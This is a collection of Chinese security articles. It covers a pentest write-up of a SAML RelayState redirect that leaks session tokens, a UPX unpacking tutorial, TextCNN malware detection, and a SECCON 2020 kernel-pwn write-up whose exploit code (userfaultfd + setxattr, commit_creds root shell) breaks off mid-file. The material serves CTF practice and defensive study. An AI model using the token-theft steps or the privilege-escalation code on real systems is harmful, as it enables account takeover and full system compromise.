saml_token`参数复制了URL，并尝试在未经身份验证的浏览器会话中打开它。令人惊讶的是，它允许我访问受保护页面。我没有被重定向到IDP，也不必要登录。如果我有一个有效的`saml_token`值，我就可以访问这个页面。
我们来推理一下`RelayState`值。乍一看，该值似乎指示SP在哪里重定向用户。但是，此交互最初并未清除，因为`sp_id`参数未通过。测试很重要，因为如果我修改了参数并将用户重定向到任何网站，那么我手上就会有一个开放的重定向漏洞。
我退出了应用程序并再次启动了SSO流程以进行进一步测试。我拦截了原始SAML请求到IDP并将`RelayState`值修改为不同的URL。我使用一个我的网络服务器，不是以下url：
`https://clientwebsite.com/samlpage?sp_id=73`
我改成了这个：
`https://anitianwebsite.com/owned`
然后我将请求转发给IDP。已加载登录页面，我使用已知有效帐户登录。IDP然后将我重定向回SP。我检查了包含SAML响应的请求，并注意到`RelayState`参数仍然包含我修改过的值。客户端应用程序对SAML响应进行了身份验证，并将我重定向到受保护的页面。相反，我被重定向到这个URL，这意味着存在一个重定向漏洞:
`https://anitianwebsite.com/owned?saml_token=<long value here>`
接下来，我使用客户端的应用程序为另一个用户帐户生成SAML。我修改了`RelayState`参数并复制了整个URL。我从未访问过IDP
URL，但可以将其发送给受害用户。该链接将受害者引导至IDP。对IDP的受害者身份验证会将其重定向回客户端的应用程序以及任何域。我可以执行多种攻击，包括用BEEF之类的东西连接浏览器，或设置钓鱼页面来窃取他们的凭据。再看一下我最终的URL，我注意到`saml_token`被传输到我的攻击者web服务器。我检查了访问日志，发现了以下信息：
我有`saml_token`，`saml_token`参数充当访问受保护页面的密钥。我不再需要用户的密码甚至是SAML响应。我只需要令牌来获取对受保护页面的访问权限。
## 攻击大纲
为了验证这一点，我执行了以下步骤：
### 作为攻击者
1.我试图访问受保护的页面。
2.我被重定向到IDP，但我拦截了请求并且不允许它完成。
3.相反，我复制了URL并编辑了`RelayState`来包含我自己的Web服务器URL。
4.然后复制生成的URL并通过电子邮件发送给了受害者。
### 作为受害者
1.受害者点击了他们电子邮件中的链接，该链接将他们带到了他们的合法IDP登录页面。
2.该网页是合法的，因此受害者输入了用户名和密码进行身份验证。
3.受害者被重定向到SP，后者将其重定向到攻击者的网页。
### 作为攻击者
1.我检查了我的Web服务器访问日志并复制了`saml_token`值。
2.然后我获取了原始的`RelayState` URL并将`saml_token`值添加到结尾。
3.我在浏览器中输入了该URL并访问了受保护的页面。
此漏洞具有潜在的影响，因为我们的某些客户的客户可能会在这些受保护的页面上存储敏感信息。我在Google上研究了`saml_token`参数，但在我检查的资源中都找不到任何信息，甚至在SAML规范中也没有。在与客户进行对话后，他们的客户需要开发自定义参数，以授权用户访问受保护的页面而无需使用cookie。使用当前的任何一款自动扫描工具都无法检测到此类漏洞。这个发现展示了我们作为手动渗透测试的一部分可以找到的独特漏洞。
## 修复bug
验证`RelayState`参数是真正的问题。我们的客户可以修改他们的应用程序，以确保参数始终指向他们自己的域。另一种方法是在该参数中放置一次性令牌。然后可以将令牌放入具有关联URL的查找表中。这样，当应用程序收到RelayState令牌时，他们只需查找该令牌响应的URL并重定向到该页面即可。这样可以防止攻击者将用户重定向到外部域，并避免使用复杂的匹配规则来确保URL是有效的。我在电话交谈中了解到，`saml_token`仅在30秒的窗口内有效。这有助于减轻风险，因为攻击者必须实时行动或以其他方式使用自动化在收到令牌后立即滥用令牌。更好的是确保`saml_token`只能使用一次。这样，如果攻击者从某人的浏览器历史记录或代理日志或类似内容中获取令牌，是然并卵的。
审核人：yiwang 编辑：边边 | 社区文章 |
Linux中比较常见的壳是[UPX](https://github.com/upx/upx)，常用这个开源软件进行一键upx加壳和脱壳
这里做一个简单演示
#include <stdio.h>
void fun1()
{
puts("fun1:hello,world!");
sleep(1);
}
void fun2()
{
puts("fun2:hello,world!");
sleep(1);
}
int main(int argc, char const *argv[])
{
puts("main:hello,world!");
fun1();
fun2();
return 0;
}
`gcc ./test.c -o test --static`
得到一个静态编译的test可执行文件，这里之所以要用静态编译，是因为upx加壳需要使得文件大小大于40kb，否则没办法进行加壳压缩
这里可以看到upx的用法，一般来说`./upx test`，即可快速把test加壳并且直接修改test源文件
如果加上`-d`参数表示进行脱壳，参数`-1 ~
-9`表示压缩的等级，1为最低级压缩同时也是最快的，而9表示最高等级压缩同时比较耗时，参数`-k`则表示保留原程序的备份
upx加壳之后可以看到程序能正常运行
加壳到底改变了源程序的哪些东西？
可以通过`readelf –hlS --w test`来查看elf文件在加壳前的情况
而加壳后：
对比发现，upx压缩之后的elf头部信息，段表信息全都发生了变化，把大量的有关elf的信息全部去除了，只留下一个upx壳自定义的程序入口执行地址
但这种加壳毕竟是直接用工具一键加壳的，同样的用该工具很容易就能被脱壳，并且很容易被发现是upx壳
可以看到，这里用checksec和strings都能轻易识别出upx的壳
因此为了让upx加壳过的程序没那么轻易被识别，我们把程序扔进010editor里面进行修改，把相关字符串和UPX关键词都给patch掉，然后再来康康
这时会发现，不但检测不到是upx壳，而且upx也没办法进行脱壳
这时就需要我们进行手动脱壳了，加壳的本质就是把原来的程序的数据全部压缩加密了，在静态文件中无法分析，随着程序的执行，运行时会将代码释放到内存中
我这里用的方法是用ida远程调试test程序，找到upx自解壳后的 OEP，再把内存给dump出来，就可以实现手动脱壳了
首先ida远程连接Ubuntu的中的test需要一个 linux_server64 远程服务器，这个在ida目录的dbgsrv文件夹下就有
将其复制到Ubuntu中，然后运行它
接着来到ida端，选择调试器：Remote Linux Debugger
以上的文件路径和ip地址均为远程端中的
设置完成后在start函数中下个断点，然后开始调试
进入调试界面后，可以看到程序的运行情况
然后一路f8步过执行，其中会遇到很多跳转循环，根据向下执行的原则不断跳过循环，最后来到这里`jmp r13`
会jmp到另外一个段上面去，这个段的名称这里显示的是test，这是因为这个段经过前面的mmap，mprotect等系统调用自己生成的一个段空间地址
到了这个新的段以后，遇到第一个call的时候就f7进入，然后继续f8一点点走下去
走到这的时候会发现有三个向上循环执行的语句，仍然按照向下跳过执行的方式去跳过这三个循环
跳过了这三个循环，就可以一路f8，最后会来到一个jmp语句，这里即将回到OEP，f7一下
继续f7
可以看到，执行的地址又回到了0x400890，这其实就是最开始未进行加壳的程序的起始函数 `__start`
他的第一个参数rdi指向的正是main函数
这个时候我们就找到了OEP了，可以通过ida加载idc脚本的方式把当前的内存给dump出来
脚本如下
#include <idc.idc>
#define PT_LOAD 1
#define PT_DYNAMIC 2
static main(void)
{
auto ImageBase,StartImg,EndImg;
auto e_phoff;
auto e_phnum,p_offset;
auto i,dumpfile;
ImageBase=0x400000;
StartImg=0x400000;
EndImg=0x0;
if (Dword(ImageBase)==0x7f454c46 || Dword(ImageBase)==0x464c457f )
{
if(dumpfile=fopen("dumpfile","wb"))
{
e_phoff=ImageBase+Qword(ImageBase+0x20);
Message("e_phoff = 0x%x\n", e_phoff);
e_phnum=Word(ImageBase+0x38);
Message("e_phnum = 0x%x\n", e_phnum);
for(i=0;i<e_phnum;i++)
{
if (Dword(e_phoff)==PT_LOAD || Dword(e_phoff)==PT_DYNAMIC)
{
p_offset=Qword(e_phoff+0x8);
StartImg=Qword(e_phoff+0x10);
EndImg=StartImg+Qword(e_phoff+0x28);
Message("start = 0x%x, end = 0x%x, offset = 0x%x\n", StartImg, EndImg, p_offset);
dump(dumpfile,StartImg,EndImg,p_offset);
Message("dump segment %d ok.\n",i);
}
e_phoff=e_phoff+0x38;
}
fseek(dumpfile,0x3c,0);
fputc(0x00,dumpfile);
fputc(0x00,dumpfile);
fputc(0x00,dumpfile);
fputc(0x00,dumpfile);
fseek(dumpfile,0x28,0);
fputc(0x00,dumpfile);
fputc(0x00,dumpfile);
fputc(0x00,dumpfile);
fputc(0x00,dumpfile);
fputc(0x00,dumpfile);
fputc(0x00,dumpfile);
fputc(0x00,dumpfile);
fputc(0x00,dumpfile);
fclose(dumpfile);
}else Message("dump err.");
}
}
static dump(dumpfile,startimg,endimg,offset)
{
auto i;
auto size;
size=endimg-startimg;
fseek(dumpfile,offset,0);
for ( i=0; i < size; i=i+1 )
{
fputc(Byte(startimg+i),dumpfile);
}
}
执行完这个脚本后，用ida打开dumpfile，可以发现能够清楚的看清整个程序的反编译逻辑
复制回Ubuntu运行也仍然没有问题
有兴趣的研究一下upx实现源码的，可以康康下面的链接
## 参考链接
<https://github.com/upx/upx>
<https://bbs.pediy.com/thread-255519.htm>
源码分析相关：
[https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=19345](https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=19345) | 社区文章 |
# 前言
本文以阿里云恶意软件数据集为基础，探究了在工业界背景下使用单模型TextCNN进行恶意软件检测的新方法，获得了很好的结果。
# 背景
在信息化时代，电子产品上存在很多恶意软件。例如很多用户使用存在后门的破解软件，当他们在操作系统上运行软件，破解软件会默默地获取系统信息并发送给攻击者，这样即泄露了用户的隐私。恶意软件的恶意攻击行为很多，电子产品企业如能使得产品具有良好的恶意软件检测性能，即能更好地保障用户的安全。
近几年，随着深度学习的高速发展，人们逐渐使用它自动学习恶意软件特征，从而识别当前应用是否是恶意软件。本文基于深度学习的知识和工业的单模型需求，使用了TextCNN模型探究恶意软件检测问题。
# 相关配置信息
## 数据源
阿里云提供了丰富的恶意软件运行后的数据集。在训练集表格数据中，存在四列数据：file_id、label、api、tid、index，分别表示文件编号、文件恶意行为类别（8类，分别是0-正常/1-勒索病毒/2-挖矿程序/3-DDoS木马/4-蠕虫病毒/5-感染型病毒/6-后门程序/7-木马程序）、文件调用的API、调用API的所属线程号、单个线程调用的API集的顺序号。
参考数据：
<https://tianchi.aliyun.com/competition/entrance/231694/information>
## 评估
在阿里云的测试集数据表格中，存在三列数据：file_id、api、tid、index。依据它们预测出label信息的所属类别概率分布，并将这列概率分布保存到一个结果数据表格。
结果数据表格中，存在九列数据：file_id，prob0, prob1, prob2, prob3, prob4, prob5
,prob6,prob7，分别表示测试集数据中的文件编号，后八列表示预测此文件分别是正常、勒索病毒、挖矿程序、DDoS木马、蠕虫病毒、感染型病毒、后门程序、木马程序的概率，概率和为1。
将结果数据表格提交到阿里云平台即可获得测试结果。
## 平台
本文使用的是Google Colab平台的GPU和TPU。TPU使用方法会在下面使用时详细说明。
Tensorflow版本：1.13.1，Keras:2.2.5
# 恶意软件检测
在这一部分，本文首先简述TextCNN的架构等基础内容，然后根据数据的分析情况和检测的结果分层次地对模型进行改进。
## TextCNN等基础内容
### Tokenizer类的函数和变量
函数fit_on_text(texts)：使用一系列文档来生成token词典，texts为list类，每个元素为一个文档。
函数texts_to_sequences(texts)：将多个文档转换为word下标的向量形式
变量word_index：一个dict，保存所有word对应的编号id，从1开始
### Embedding
将词的十进制表示做向量化
### SpatialDropout1D
在模型开始应用，会按一定比例丢弃一个特征图中的多个通道信息，增强特征的独立性，这和dropout是不同的。
如下图。
### TextCNN
可参考论文《Convolutional Neural Networks for Sentence
Classification》。TextCNN通过卷积核能充分获取到句子内部的逻辑相关性，具有很大的优势。
由上图可知，以此句子为例，首先按词数分成七部分，再将每部分的词通过Embedding的方法扩展为五维向量，即最终生成7x5的句子矩阵。再使用不同的卷积核对其进行卷积运算求取特征图。然后通过池化层池化所有特征图，最后通过全连接层汇聚特征为特征向量，从而用于分类，这里的分类数量为2。
## 模型实战
### 数据处理
首先将表格数据做处理存放至pkl文件，方便以后直接使用。
处理过程中，
本人将训练集表格中数据按照file_id分组，并在每组file_id中，依次按照tid、index对数据排序，将排序后的API作为此文件的核心数据，将label作为此文件所属的种类。测试集数据除无label，其他数据处理方式同上。
代码如下：
import pandas as pd
import pickle
import numpy as np
由上图可知生成了训练集和测试集的对应pkl文件。
### 模型训练及预测
首先使用Tokenizer根据已有API数据生成字典，将API数据转换为数字表示的形式。代码如下：
因为数据量巨大，且每个文件的API数据量都不一致，为了方便TextCNN的运行，使用pad_sequences截取inputLen长度的词。inputLen的长短直接决定了句子的丰富程度，在后续探究工作中可做改进。
规范好数据后，即可调用TextCNN模型，初次采用的结构如下：
根据上图可知，设置词向量的维度为20，使用了5个大小分别为1、3、3、5、5的卷积核，使用了基础的最大池化操作。这三部分设置关系了模型的性能，在后续探究工作中可做改进。
在训练及测试过程中，本文使用了5折交叉验证法，有效降低过拟合情况的产生。且结合使用早停机制和选择最优模型机制保存最好的训练结果。最后预测并生成结果数据表。
这部分代码链接：
<https://github.com/AI-Winner/Wang-Net-TextCNN/blob/master/my_net.py>
## 模型探究
### 模型改进1
使用GPU做模型的API信息探究。首先确定较合适的每个文件中API的个数inputLen，然后确定每个文件中每个API的词维度即textcnn网络中Embedding函数的第二个参数output_dim。
查看原始文件信息，可知文件的API个数最大为13264587。考虑GPU内存和速度，依次设置inputLen为100、5000、7000，联合设置output_dim为5、20。将训练好的模型预测出的结果提交至官网查看结果，如下图。
分析可知，API的个数inputLen为5000、词维度output_dim为20时结果较好，output_dim还有增大的潜力。
### 模型改进2
做早停方法探究。在早停机制中，依次设置训练过程中损失上升次数即EarlyStopping函数的patience为20、25。将训练好的模型预测出的结果提交至官网查看结果，如下图。
可知，patience为25时logloss为0.837264，经过改进logloss降低了2个百分点。
### 模型改进3
使用TPU做数据均衡、权重正则化、网络池化探究。
#### 数据均衡探究。
针对本题，训练集和测试集不一样，应采取措施使得训练集和测试集中的正样本比例相差较小，这样训练出的模型对测试集具备更好的泛化能力。我们使用Keras中的fit函数的class_weight解决这个问题，如下。
fit(self, x=None, y=None, batch_size=None, epochs=1, verbose=1,
callbacks=None,
validation_split=0.0,validation_data=None,shuffle=True,class_weight=None,sample_weight=None,initial_epoch=0,steps_per_epoch=None,validation_steps=None)
class_weight：参数含义：字典，将不同的类别映射为不同的权值，该参数用来在训练过程中调整损失函数（只能用于训练）。该参数在处理非平衡的训练数据（某些类的训练样本数很少）时，可以使得损失函数对样本数不足的数据更加关注。假设有500个0级样本和1500个1级样本，未解决样本不均衡问题，应该设置class_weight
= {0：3，1：1}，这给了0级三倍于1级的权重。
可知官方计算logloss的方法如下。
为了得到测试集中各类别的样本数，则模拟一份测试结果提交官网。在测试结果表中，存在8个概率列表示当前文件所属各类恶意文件的概率，联合过渡平滑的思想，统一将一列设置为0.3表示文件的可能类别，其他列设置为0.1。此时，根据logloss计算方式，应用于此8分类问题中，则单个文件预测正确时，logloss计算方式为
单个样本预测错误时，logloss计算方式为
则当前，在测试结果表中，将8个概率列中一列设为0.3表明所有文件均可能是此类恶意文件，设置真实属于此类恶意文件的文件数为n，测试集样本总数为N，总logloss计算方式应为
换算可得。
由此，N已知，logloss通过官网对此测试表的计算结果可得到，即顺利得到属于此类恶意文件的样本数。依次可得到测试集所有类恶意样本的样本数。
可知测试集各类别样本数：0: 4978 1: 409 2: 643 3: 670 4: 122 5: 4288 6: 629 7: 1216
已知训练集各类别样本数：0: 4978 1: 502 2: 1196 3: 820 4: 100 5: 4289 6: 515 7: 1487
本文可计算class_weight为：
0:1.00,1:0.81,2:0.54,3:0.82,4:1.22,5:1.00,6:1.22,7:0.82。程序设置方法如下。
#### 权重正则化探究
有三种正则化方法：
L1：绝对值权重之和
L2：平方权重之和
L1L2:两者累加之和
实现方法分别是：
tf.keras.regularizers.l1(l=0.01)
tf.keras.regularizers.l2(l=0.01)
tf.keras.regularizers.l1_l2(l1=0.01,l2=0.01)
卷积层、全连接层使用权重正则化的方法分别是：
tf.keras.layers.Conv2D(32,3,activation=tf.nn.relu,kernel_regularizer=tf.keras.regularizers.l2(l=0.0005),bias_regularizer=tf.keras.regularizers.l2(l=0.0005))
tf.keras.layers.Dense(512,activation=tf.nn.relu,kernel_regularizer=tf.keras.regularizers.l2(l=0.001),bias_regularizer=tf.keras.regularizers.l2(l=0.001))
本文对于textcnn中卷积和全连接层的正则化如下：
#### TPU基础
在TPU中，典型的批量大小是1024。每个TPU 都由 8 个 TPU 核心组成，每个核心都有 8GB 的 RAM（或 HBM，即高带宽内存）。
在使用TPU训练模型时，每次输入的样本数应保持是8的倍数，使得每个TPU核心运行同样数量的样本，这样会不可避免地删除不能被8整除的一小部分样本。则在测试时，一个好的方法是在CPU上进行预测。
在本实验中，设置batchsize为8的倍数，此时训练集和验证集的数据量应符合如下代码：
#### 池化探究
TextCNN中有一种池化层是时序最大池化，它可被认为是一维全局最大池化，可使模型不受人为手工为数据补0的影响。
全局池化就是pooling的 滑窗size 和整张feature map的size一样大。这样，每个 W×H×C 的feature map输入就会被转化为
1×1×C 输出。因此，其实也等同于每个位置权重都为 1/(W×H)1/(W×H) 的FC层操作。
本实验修改TextCNN中一般池化为最大池化和最大平均池化。
#### 实验结果
由于TPU内存更大性能更好的原因，通过更多API信息、更多卷积核提取更多不同的特征如下。具体操作是设置API数量inputLen为20000，API词维度output_dim为128，网络中增加大小分别为1、3、5、7、9、11、13的卷积核。
结果如下：
6
经过改进，单模型logloss为0.555824，又降低了3个百分点，效果显著。
代码链接：
<https://github.com/HYWZ36/my_aliyun_ML_Malware_detect/tree/master/Code> | 社区文章 |
# 从 SECCON2020 一道 kernel pwn 看 userfaultfd + setxattr “堆占位”技术
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00.一切开始之前
或许大部分 kernel hacker 在阅读本篇文章之前便已经听说过 userfaultfd + setxattr
这一内核堆利用技术，亦或是自己成功利用该技术完成对内核中一些漏洞的利用（例如
CVE-2019-15666），此时看到“堆占位”这一名称或许会感到有些疑惑——因为这两个技术相结合的利用或许与“堆喷射”（heap spray）有关？
在开始之前笔者需要向大家说明——是的，userfaultfd + setxattr
确乎是通用的内核堆喷射技术，但当我们将这一技术放在对一些特定漏洞上的利用（例如
UAF）时，“堆喷射”这一名称似乎并不适用——因为此时我们并不需要“喷射”（分配）大量的 object，而是需要在特定的时间节点完成对特定的 object
的写入与占用，因此笔者也参照网上一些文章的说法将这种利用手法称之为“堆占位”技术
按照惯例，我们还是以一道 CTF 题目作为切入点，因为相比起真实的漏洞利用，CTF题目的简洁性能够帮助我们更快地理解与掌握一项技术的本质
若是你对于 userfaultfd 在内核空间中的利用并不熟悉，可以先阅读笔者此前发表在安全客上的这篇文章：[从强网杯 2021 线上赛题目
notebook 中浅析 userfaultfd 在 kernel pwn
中的利用](https://www.anquanke.com/post/id/253835)，本篇笔者不会重复叙述 userfaultfd
相关的基础知识来骗稿费（笑）（我可谢谢您嘞）
## 0x01.setxattr 系统调用
setxattr 是一个十分独特的系统调用族，抛开其本身的功能，在 kernel 的利用当中他可以为我们提供 **近乎任意大小的内核空间 object
分配**
观察 setxattr 源码，发现如下调用链：
SYS_setxattr()
path_setxattr()
setxattr()
在 `setxattr()` 函数中有如下逻辑：
static long
setxattr(struct dentry *d, const char __user *name, const void __user *value,
size_t size, int flags)
{
//...
kvalue = kvmalloc(size, GFP_KERNEL);
if (!kvalue)
return -ENOMEM;
if (copy_from_user(kvalue, value, size)) {
//,..
kvfree(kvalue);
return error;
}
那么这里 setxattr 系统调用便提供给我们这样一条调用链：
* 在内核空间分配 object
* 向 object 内写入内容
* 释放分配的 object
这里的 value 和 size 都是由我们来指定的，即 **我们可以分配任意大小的 object 并向其中写入内容**
### setxattr 与 userfaultfd
虽然我们通过 setxattr 系统调用可以在内核空间中分配任意大小的 object 并写入任意内容，但是该 object 在 setxattr
执行结束时又会被放回 freelist 中，那我们将前功尽弃
重新考虑 setxattr 的执行流程，其中会调用 `copy_from_user` 从用户空间拷贝数据，那么让我们考虑如下场景：
我们通过 mmap 分配连续的两个页面，在第二个页面上启用 userfaultfd 监视，并在第一个页面的末尾写入我们想要的数据，此时我们调用
setxattr 进行 **跨页面的拷贝** ，当 copy_from_user 拷贝到第二个页面时 **便会触发 userfaultfd，从而让
setxattr 的执行流程卡在此处，这样这个 object 就不会被释放掉，而是可以继续参与我们接下来的利用**
这便是 setxattr + userfaultfd 结合的堆占位技术
## 0x02.SECCON 2020 kstack
### 分析
惯例地查看启动脚本：
#!/bin/sh
qemu-system-x86_64 \
-m 512M \
-kernel ./bzImage \
-initrd ./rootfs.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr quiet" \
-cpu kvm64,+smep \
-net user -net nic -device e1000 \
-monitor /dev/null \
-nographic
开启了 smep 和 kaslr
查看 `/sys/devices/system/cpu/vulnerabilities/*`：
/ $ cat /sys/devices/system/cpu/vulnerabilities/*
Processor vulnerable
Mitigation: PTE Inversion
Vulnerable: Clear CPU buffers attempted, no microcode; SMT Host state unknown
Mitigation: PTI
Vulnerable
Mitigation: usercopy/swapgs barriers and __user pointer sanitization
Mitigation: Full generic retpoline, STIBP: disabled, RSB filling
Not affected
开启了 KPTI
拖入 IDA 中进行分析，发现只定义了一个 ioctl 的两种功能
**建链表节点**
先分析第一种功能，在这里先用 kmalloc 分配了一个 object，之后将其使用头插法通过全局变量 head 插入到单向链表中
分析可知其结构应当如下所示：
struct node
{
void *unknown;
char data[8];
struct node *next;
};
该结构体前八个字节是从 `current_task` 的某个特殊偏移取的值，经尝试可知为线程组 id，我们来看其分配过程，使用了
`kmem_cache_alloc(kmalloc_caches[5], 0x60000C0)`，第二个参数是 flag ，为常规的
`GFP_KERNEL`，这里可以暂且忽略
现在我们来看第一个参数，笔者推测这应当是 gcc 优化 kmalloc 的结果；在内核中有一个数组 `kmalloc_caches` 存放
kmem_cache，在内核源码 `mm/slab_common.c` 中我们可以得知其初始化的大小
/*
* kmalloc_info[] is to make slub_debug=,kmalloc-xx option work at boot time.
* kmalloc_index() supports up to 2^25=32MB, so the final entry of the table is
* kmalloc-32M.
*/
const struct kmalloc_info_struct kmalloc_info[] __initconst = {
INIT_KMALLOC_INFO(0, 0),
INIT_KMALLOC_INFO(96, 96),
INIT_KMALLOC_INFO(192, 192),
INIT_KMALLOC_INFO(8, 8),
INIT_KMALLOC_INFO(16, 16),
INIT_KMALLOC_INFO(32, 32),
//...
下标 `[5]` 即第六个 kmem_cache 为 `kmalloc-32`，由此我们可以得知分配的 object 大小为 0x20
**删除链表节点**
比较简单且常规的脱链操作，会将同一线程组创建的节点中的头节点删除，并将其 data 拷贝给用户
若并节点所属线程组与当前进程非同一线程组，则会一直找到那个线程组的节点或是遍历结束为止
分析下来，联想到题目名叫 `k stack`，我们不难猜出这是在模拟栈的 push 与 pop 操作
### 利用
我们注意到其拷贝时使用了 copy_from_user 与 copy_to_user，且 **ioctl 操作全程没有加锁** ，这为
userfaultfd 提供了可能性
**1）泄露内核基址：shm_file_data**
在创建节点时先将新的 object 赋给 head 指针，之后再调用 copy_from_user，我们不难想到的是，可以通过 userfaultfd
让分配线程在 copy_from_user 这里卡住，之后我们在 userfaultfd 线程当中再将该 object 释放，这样我们就能够读出 8
字节的“脏数据”，那么在如此之前我们应当分配一个带有可用数据的结构体并释放
由于题目限制了分配的 object 的大小，故我们应当考虑从 kmallc-32 中分配的结构体，这里笔者选用 `shm_file_data`
这一结构体，其定义如下：
struct shm_file_data {
int id;
struct ipc_namespace *ns;
struct file *file;
const struct vm_operations_struct *vm_ops;
};
其中我们可以读取的 `ns` 域刚好指向内核 .text 段，由此我们可以泄露出内核基址
我们可以在通过 `shmget` 系统调用创建共享内存之后通过 `shmat` 系统调用获得该结构体，通过 `shmdt` 我们可以释放该结构体
> 在这里有个笔者弄不明白原因的点：我们需要先创建 userfaultfd 线程后再进行 shm 操作， **否则会失败**
> ，在笔者理解中这操作两个之间的顺序并不关键
**2）构造 double free**
构造 double free 的流程比较简单，我们只需要在 pop 时通过 copy_to_user 触发 userfaultfd，在
userfaultfd 线程中再 pop 一次即可
**3）userfaultfd + setxattr 劫持 seq_operations 控制内核执行流**
现在在 kmalloc-32 当中的第一个 object 指向自身，那么在接下来的两次分配中我们都将会获得同一个 object，第一次分配时笔者选择分配到
seq_operations 处，接下来我们通过 setxattr 再一次分配到该 object，通过 setxattr 更改 seq_operations
中的指针
由于我们需要劫持其第一个指针，故这里我们不能够让 setxattr 执行到末尾将 object 又释放掉，而应当在 setxattr 中的
copy_from_user 中用 userfaultfd 卡住，在 userfaultfd 线程中触发劫持后指针控制内核执行流
控制内核执行流后笔者选择用常规的 pt_regs 来完成 ROP
> 若你不知道 pt_regs 这一通用 kernel ROP 手法，可以先阅读考笔者往期的文章
**4) 修复 kmalloc-32 的 freelist 拿到稳定 root shell**
在我们通过 double free 完成利用之后， **内核空间的 kmalloc-32 的 freelist已经被破坏了** ，此时我们若是直接起一个
shell 则会造成 kernel panic，因此我们在返回用户空间之后需要先修复 freelist
修复 freelist 只需要往里面放入一定数量的 object 即可，笔者选择在一开始时先多次打开 `/proc/self/stat` 分配大量
seq_operations 结构体做备用，之后在 setxattr 线程中将其全部释放，这样我们就能够完美着陆回用户态，安全地起一个稳定的 root
shell
### FINAL EXPLOIT
最终的 exp 如下：
> kernelpwn.h
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
void * kernel_base = 0xffffffff81000000;
size_t kernel_offset = 0;
static pthread_t monitor_thread;
void errExit(char * msg)
{
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
exit(EXIT_FAILURE);
}
void registerUserFaultFd(void * addr, unsigned long len, void (*handler)(void*))
{
long uffd;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
int s;
/* Create and enable userfaultfd object */
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
errExit("userfaultfd");
uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
errExit("ioctl-UFFDIO_API");
uffdio_register.range.start = (unsigned long) addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
errExit("ioctl-UFFDIO_REGISTER");
s = pthread_create(&monitor_thread, NULL, handler, (void *) uffd);
if (s != 0)
errExit("pthread_create");
}
size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}
size_t commit_creds = NULL, prepare_kernel_cred = NULL;
void getRootPrivilige(void)
{
void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred;
int (*commit_creds_ptr)(void *) = commit_creds;
(*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}
void getRootShell(void)
{
puts("\033[32m\033[1m[+] Backing from the kernelspace.\033[0m");
if(getuid())
{
puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
exit(-1);
}
puts("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m");
system("/bin/sh");
exit(0);// to exit the process normally instead of segmentation fault
}
/* ------ kernel structure ------ */
struct file_operations;
struct tty_struct;
struct tty_driver;
struct serial_icounter_struct;
struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
int (*poll_init)(struct tty_driver *driver, int line, char *options);
int (*poll_get_char)(struct tty_driver *driver, int line);
void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
const struct file_operations *proc_fops;
};
> exp.c
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/xattr.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <semaphore.h>
#include "kernelpwn.h"
int dev_fd;
size_t seq_fd;
size_t seq_fd_reserve[0x100];
static char *page = NULL;
static size_t page_size;
static void *
leak_thread(void *arg)
{
struct uffd_msg msg;
int fault_cnt = 0;
long uffd;
struct uffdio_copy uffdio_copy;
